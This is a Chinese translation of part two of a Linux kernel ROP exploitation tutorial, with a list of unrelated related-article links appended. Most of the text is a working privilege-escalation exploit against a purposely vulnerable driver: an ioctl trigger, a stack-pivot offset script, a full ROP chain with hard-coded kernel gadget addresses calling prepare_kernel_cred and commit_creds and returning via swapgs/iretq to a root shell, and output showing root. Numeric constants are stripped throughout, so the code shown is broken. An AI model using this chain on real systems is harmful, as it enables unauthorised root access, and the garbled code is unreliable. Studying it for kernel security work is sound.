Linux内核ROP姿势详解(二)
- /*
- 很棒的文章,在freebuf上发现了这篇文章上部分的翻译,但作者貌似弃坑了,顺手把下半部分也翻译了,原文见文尾链接
- --by JDchen
- */
介绍
在文章第一部分,我们演示了如何找到有用的ROP gadget并为我们的系统(3.13.0-32 kernel –Ubuntu 12.04.5 LTS)建立了一个提权ROP链的模型。我们同时也开发了一个有漏洞的内核驱动来允许实现执行任意代码。在这一部分,我们将会使用这个内核模块来开发一个具有实践意义的ROP链:提权,修复系统,纯净退出到用户空间。
这是来自第一部分ROP链的执行成功的条件:
1:执行一个有效的提权载荷
2:驻留在用户空间的数据可能被引用
3:驻留在用户空间的指令可能不被执行
第一部分开发的内核模块由于缺少偏移边界检查,可以导致一个函数指针指向任意地址,我们的简单触发代码如下:
- #define DEVICE_PATH "/dev/vulndrv"
- ...
- int main(int argc, char **argv) {
- int fd;
- struct drv_req req;
- req.offset = atoll(argv[]);
- fd = open(DEVICE_PATH, O_RDONLY);
- if (fd == -) {
- perror("open");
- }
- ioctl(fd, , &req;);
- return ;
- }
在上面代码段中,我们可以控制内核驱动中被声明位unsigned long的offset值,通过offset,我们可以引用任意在内核或者用户空间地址。
栈反转
由于我们不能重定位内核控制流到一个用户空间地址,我们需要在内核空间找一个合适的gadget。这个想法是,在用户空间准备我们的ROP链然后将栈指针指向ROP头部。这样,我们不直接执行驻留在用户空间中的指令,而是从用户空间获取指向内核空间中的指令。在我们漏洞函数device_ioctl()的入口下断点,我们能够检查寄存器是不变的,还是在我们引用函数指针之前我们能够控制它的值:
- 0xffffffffa013d0bd <device_ioctl> nopl 0x0(%rax,%rax,)
- 0xffffffffa013d0c2 <device_ioctl+> push %rbp
- 0xffffffffa013d0c3 <device_ioctl+> mov %rsp,%rbp
- 0xffffffffa013d0c6 <device_ioctl+> sub $0x30,%rsp
- 0xffffffffa013d0ca <device_ioctl+> mov %rdi,-0x18(%rbp)
- 0xffffffffa013d0ce <device_ioctl+> mov %esi,-0x1c(%rbp)
- 0xffffffffa013d0d1 <device_ioctl+> mov %rdx,-0x28(%rbp) [user-space address of passed req struct]
- 0xffffffffa013d0d5 <device_ioctl+> mov -0x1c(%rbp),%eax
- 0xffffffffa013d0d8 <device_ioctl+> test %eax,%eax
- 0xffffffffa013d0da <device_ioctl+> jne 0xffffffffa013d145 <device_ioctl+>
- 0xffffffffa013d0dc <device_ioctl+> mov -0x28(%rbp),%rax
- 0xffffffffa013d0e0 <device_ioctl+> mov %rax,-0x10(%rbp) [save req struct address to -0x10(%rbp)]
- 0xffffffffa013d0e4 <device_ioctl+> mov -0x10(%rbp),%rax
- 0xffffffffa013d0e8 <device_ioctl+> mov (%rax),%rax
- 0xffffffffa013d0eb <device_ioctl+> mov %rax,%rsi
- 0xffffffffa013d0ee <device_ioctl+> mov $0xffffffffa013e066,%rdi
- 0xffffffffa013d0f5 <device_ioctl+> mov $0x0,%eax
- 0xffffffffa013d0fa <device_ioctl+> callq 0xffffffff81746ca3
- 0xffffffffa013d0ff <device_ioctl+> mov -0x10(%rbp),%rax
- 0xffffffffa013d103 <device_ioctl+> mov (%rax),%rax
- 0xffffffffa013d106 <device_ioctl+> shl $0x3,%rax
- 0xffffffffa013d10a <device_ioctl+> add $0xffffffffa013f340,%rax
- 0xffffffffa013d110 <device_ioctl+> mov %rax,%rsi
- 0xffffffffa013d113 <device_ioctl+> mov $0xffffffffa013e074,%rdi
- 0xffffffffa013d11a <device_ioctl+> mov $0x0,%eax
- 0xffffffffa013d11f <device_ioctl+> callq 0xffffffff81746ca3
- 0xffffffffa013d124 <device_ioctl+> mov $0xffffffffa013f340,%rdx mov -0x10(%rbp),%rax mov (%rax),%rax
- 0xffffffffa013d132 <device_ioctl+> shl $0x3,%rax
- 0xffffffffa013d136 <device_ioctl+> add %rdx,%rax mov %rax,-0x8(%rbp)
- 0xffffffffa013d13d <device_ioctl+> mov -0x8(%rbp),%rax
- 0xffffffffa013d141 <device_ioctl+> callq *%rax jmp 0xffffffffa013d146 <device_ioctl+>
- 0xffffffffa013d145 <device_ioctl+> nop
- 0xffffffffa013d146 <device_ioctl+> mov $0x0,%eax
- 0xffffffffa013d14b <device_ioctl+> leaveq
如上,寄存器rax的值是指将会被执行的指令的地址,我们可以提前计算这个地址,因为我们知道ops数组的基地址和传递的偏移值以用于计算函数指针fn()的地址。例如:给定ops的基地址为 0xffffffffaaaaaaaf
,偏移offset=0x6806288。Fn地址变为0xffffffffdeadbeaf。我们可以逆转这个过程并尝试找到一个内核空间中我们想要去执行的gadget的地址的偏移值。这里有很多栈反转gadget。例如,下面是在用户空间常用的栈反转ROP链:
- mov %rsp, %rXx ; ret
- add %rsp, ...; ret
- xchg %rXx, %rsp ; ret
在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret
xchg %esp, %eXx ; ret
. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。
使用第一部分的ROPGadget工具,我们可以看到在内核镜像中有很多合适的xchg栈反转指针。
- 0xffffffff81000085 : xchg eax, esp ; ret
- 0xffffffff81576254 : xchg eax, esp ; ret 0x103d
- 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8
- 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8
- 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb
- 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9
- 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408
- 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148
- 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d
- 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c
- 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff
- 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589
- 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07
- 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c
在选择栈反转指针时唯一需要注意的是它需要8字节对齐(因为ops是8字节指针的数组,其基地址对齐)。下面简单的脚本用于找到适合的gadget
- ==================== find_offset.py ====================
- #!/usr/bin/env python
- import sys
- base_addr = int(sys.argv[], )
- f = open(sys.argv[], 'r') # gadgets
- for line in f.readlines():
- target_str, gadget = line.split(':')
- target_addr = int(target_str, )
- # check alignment
- if target_addr % != :
- continue
- offset = (target_addr - base_addr) /
- print 'offset =', ( << ) + offset
- print 'gadget =', gadget.strip()
- print 'stack addr = %x' % (target_addr & 0xffffffff)
- break
- ========================================================
- vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets
- vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets
- offset =
- gadget = xchg eax, esp ; ret 0x11e8
- stack addr = 8108e258
上面的堆栈地址表示ROP链需要mmapping的用户空间地址(fake_stack):
- fake_stack = (unsigned long *)(stack_addr);
- *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
- fake_stack = (unsigned long *)(stack_addr + 0x11e8 + );
- *fake_stack ++= 0x0UL; /* NULL */
- *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
- *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
- //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
- *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */
- *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
所选择的栈反转gadget中的ret有数值操作数,没有数值操作数的ret指令会将返回地址从堆栈中弹出并跳转到堆栈。然而,在一些调用约定(例如,Microsoft __stdcall)中,被调用函数负责清除堆栈。在这种情况下,调用ret的操作数表示在获取下一条指令后弹出堆栈的字节数。因此,之后的第二个ROPgadget位于偏移量0x11e8 + 8处:一旦执行了堆栈枢轴,一旦栈反转指令被执行,控制将被转移到下一个gadget,但堆栈指针将在$ rsp + 0x11e8。
载荷
参考第一部分的堆栈布局,我们可以在用户空间中准备ROP了如下载荷:
- fake_stack = (unsigned long *)(stack_addr);
- *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
- fake_stack = (unsigned long *)(stack_addr + 0x11e8 + );
- *fake_stack ++= 0x0UL; /* NULL */
- *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
- *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
- //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
- *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */
- *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
我们对第一部分的ROP链进行了修改。特别地,commit_creds()地址被移位了2个指令。这是因为我们使用调用指令来执行commit_creds()。调用指令在将控制传递给commit_creds()的第一个指令之前,将返回地址保存在堆栈中。像任何其他函数一样,commit_creds具有开头和结尾,它们将在堆栈上push值,然后在返回之前将它们pop出堆栈。因此,一旦执行该函数,控制将被返回到保存的返回地址。但是,我们希望将其返回到ROP链中的下一个gadget。要使用调用指令作为ROPgadget,我们可以简单地跳过开头的一个push指令:
- (gdb) x/10i 0xffffffff81095190
- 0xffffffff81095190 nopl 0x0(%rax,%rax,1)
- 0xffffffff81095195 push %rbp
- 0xffffffff81095196 mov %rsp,%rbp
- 0xffffffff81095199 push %r13
- 0xffffffff8109519b mov %gs:0xc7c0,%r13
- 0xffffffff810951a4 push %r12
- 0xffffffff810951a6 push %rbx
- 0xffffffff810951a7 mov %rdi,%rbx
- 0xffffffff810951aa sub $0x8,%rsp
- 0xffffffff810951ae mov 0x498(%r13),%r12
跳过push %rbp指令允许我们使用call指令作为ROP gadget:堆上保留的返回地址将会在出commit_creds()结尾被pop出来,ret指令将会返回到下一个gadget。
固化
上面描述的ROP链将给我们的调用进程超级用户权限。然而,一旦所有ROPgadget被执行,控制将被传送到堆栈上的下一条指令,这是一些未初始化的存储器值。我们需要以某种方式恢复堆栈指针并将控制权转移回我们的用户空间进程。
您可能会意识到syscalls始终切换内核/用户空间上下文。一旦进程执行系统调用,它需要恢复其状态,以便它可以在系统调用之后从下一个指令继续执行。这通常使用iret(特权间返回)指令来从内核空间返回到用户空间进程。然而,iret(或在我们的情况下,64位操作数的iretq)期望一个堆栈布局如下所示:
我们需要扩展我们的ROP链,以包括一个新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)和各种状态信息的EFLAGS寄存器。可以使用以下save_state()函数从调用用户空间进程获取CS,SS和EFLAGS值:
- unsigned long user_cs, user_ss, user_rflags;
- static void save_state() {
- asm(
- "movq %%cs, %0\n"
- "movq %%ss, %1\n"
- "pushfq\n"
- "popq %2\n"
- : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
- }
内核.text段中的iretq指令的地址可以使用objdump:
- vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -
- ffffffff81053056: cf iretq
最后要注意的是,在执行iret之前,在64位系统上需要swapgs。该指令将GS寄存器的内容与MSR之一中的值交换。在核空间例程(例如,系统调用)的入口处,执行swpags以获得指向内核数据结构的指针,因此,在返回到用户空间之前需要匹配的swapgs。
现在可以把ROP链的各个部分连起来了:
- save_state();
- fake_stack = (unsigned long *)(stack_addr);
- *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
- fake_stack = (unsigned long *)(stack_addr + 0x11e8 + );
- *fake_stack ++= 0x0UL; /* NULL */
- *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
- *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
- *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */
- *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
- *fake_stack ++= 0xffffffff81052804UL; /* swapgs ; pop rbp ; ret */
- *fake_stack ++= 0xdeadbeefUL; /* dummy placeholder */
- *fake_stack ++= 0xffffffff81053056UL; /* iretq */
- *fake_stack ++= (unsigned long)shell; /* spawn a shell */
- *fake_stack ++= user_cs; /* saved CS */
- *fake_stack ++= user_rflags; /* saved EFLAGS */
- *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
- *fake_stack ++= user_ss; /* saved SS */
结果
Ubuntu 12.04.5(x64)的完整漏洞利用代码可以在GitHub上找到。首先,我们需要使用基地址获取数组偏移量
- vnik@ubuntu:~$ dmesg | grep addr | grep ops
- [ 244.142035] addr(ops) = ffffffffa02e9340
- vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets
- offset =
- gadget = xchg eax, esp ; ret 0x11e8
- stack addr = 8108e258
然后,将基址和偏移地址传递给ROP漏洞:
- vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit
- vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit ffffffffa02e9340
- array base address = 0xffffffffa02e9340
- stack address = 0x8108e258
- # id
- uid=(root) gid=(root) groups=(root)
- #
我们提到这会绕过SMEP吗?
有更简单的方法绕过SMEP。例如,将CR4位清除为ROP链gadget,然后在用户空间中执行其余的特权提升有效内容(即,带有iret的commit_creds(prepare_kernel_cred(0)))。本教程的目标不是绕过某种保护机制,而是要证明内核ROP(整个有效负载)在内核空间中可以像用户空间中的ROP一样容易地执行。对于内核ROP有明显的缺点:主要的是能够获得对内核启动映像(默认为0600)的访问。这不是内核的问题,但是如果没有其他内存泄漏,对于自定义内核可能有问题。
2016: "Linux Kernel ROP - Ropping your way to # (Part 1)" by Vitaly Nikolenko
2016: "Linux Kernel ROP - Ropping your way to # (Part 2)" by Vitaly Nikolenko
本文版权归作者所有,欢迎转载,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
Linux内核ROP姿势详解(二)的更多相关文章
- Linux内核异常处理体系结构详解(一)【转】
转自:http://www.techbulo.com/1841.html 2015年11月30日 ⁄ 基础知识 ⁄ 共 6653字 ⁄ 字号 小 中 大 ⁄ Linux内核异常处理体系结构详解(一)已 ...
- Linux dts 设备树详解(二) 动手编写设备树dts
Linux dts 设备树详解(一) 基础知识 Linux dts 设备树详解(二) 动手编写设备树dts 文章目录 前言 硬件结构 设备树dts文件 前言 在简单了解概念之后,我们可以开始尝试写一个 ...
- [转]Linux内核源码详解--iostat
Linux内核源码详解——命令篇之iostat 转自:http://www.cnblogs.com/york-hust/p/4846497.html 本文主要分析了Linux的iostat命令的源码, ...
- Linux 进程间通讯详解二
消息队列 --消息队列提供了本机上从一个进程向另外一个进程发送一块数据的方法 --每个数据块都被认为有一个类型,接收者进程接收的数据块可以有不同的类型值 --消息队列也有管道一样的不足,就是每个消息的 ...
- linux 内核 RCU机制详解
RCU(Read-Copy Update)是数据同步的一种方式,在当前的Linux内核中发挥着重要的作用.RCU主要针对的数据对象是链表,目的是提高遍历读取数据的效率,为了达到目的使用RCU机制读取数 ...
- linux内核IDR机制详解【转】
这几天在看Linux内核的IPC命名空间时候看到关于IDR的一些管理性质的东西,刚开始看有些迷茫,深入看下去豁然开朗的感觉,把一些心得输出共勉. 我们来看一下什么是IDR?IDR的作用是什么呢? 先来 ...
- linux内核 RCU机制详解【转】
本文转载自:https://blog.csdn.net/xabc3000/article/details/15335131 简介 RCU(Read-Copy Update)是数据同步的一种方式,在当前 ...
- linux内核的gpiolib详解
#include <linux/init.h> // __init __exit #include <linux/module.h> // module_init module ...
- 嵌入式Linux内核I2C子系统详解
1.1 I2C总线知识 1.1.1 I2C总线物理拓扑结构 I2C总线在物理连接上非常简单,分别由SDA(串行数据线)和SCL(串行时钟线)及上拉电阻组成.通信原理是通过对SCL和SDA线高 ...
随机推荐
- [bzoj] 1257 余数之和sum || 数论
原题 给出正整数n和k,计算j(n, k)=k mod 1 + k mod 2 + k mod 3 + - + k mod n的值,其中k mod i表示k除以i的余数. \(\sum^n_{i=1} ...
- BZOJ_day???
哇哈哈哈哈,这周能不能保持这个呢?
- 12.25模拟赛T2
https://www.luogu.org/blog/a23333/post-xing-xuan-mu-ni-sai-path-ji-wang-zui-duan-lu 如果设f[i]表示从i到n的期望 ...
- 设计一个JavaScript框架需要编写哪些模块
在这个js框架随处乱跑的时代,你是否考虑过写一个自己的框架?下面的内容也许会有点帮助. 一个框架应该包含哪些内容? 1. 语言扩展 大部分现有的框架都提供了这部分内容,语言扩展应当是以ECMAScri ...
- 解决mysql的日志文件过大的问题
https://www.2cto.com/database/201203/122984.html
- Covered Points Count(思维题)
C. Covered Points Count time limit per test 3 seconds memory limit per test 256 megabytes input stan ...
- gitlab7.2安装
系统:centos6.4 1.安装依赖包 导入epel: useradd git wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-rel ...
- Grep basic and practice
定义:Grep (Globally search for the reqular expression and print out the line). 好处:Grep 在执行时不需要先调用编辑程序, ...
- P值
https://baike.baidu.com/item/P%E5%80%BC/7083622?fr=aladdin https://baijiahao.baidu.com/s?id=15960976 ...
- Spring学习--xml 中 Bean 的自动装配
Spring IOC 容器可以自动装配 Bean. 只要在 <bean> 的 autowire 属性里指定自动装配的模式. byName(根据名称自动装配):必须将目标 Bean 的名称和 ...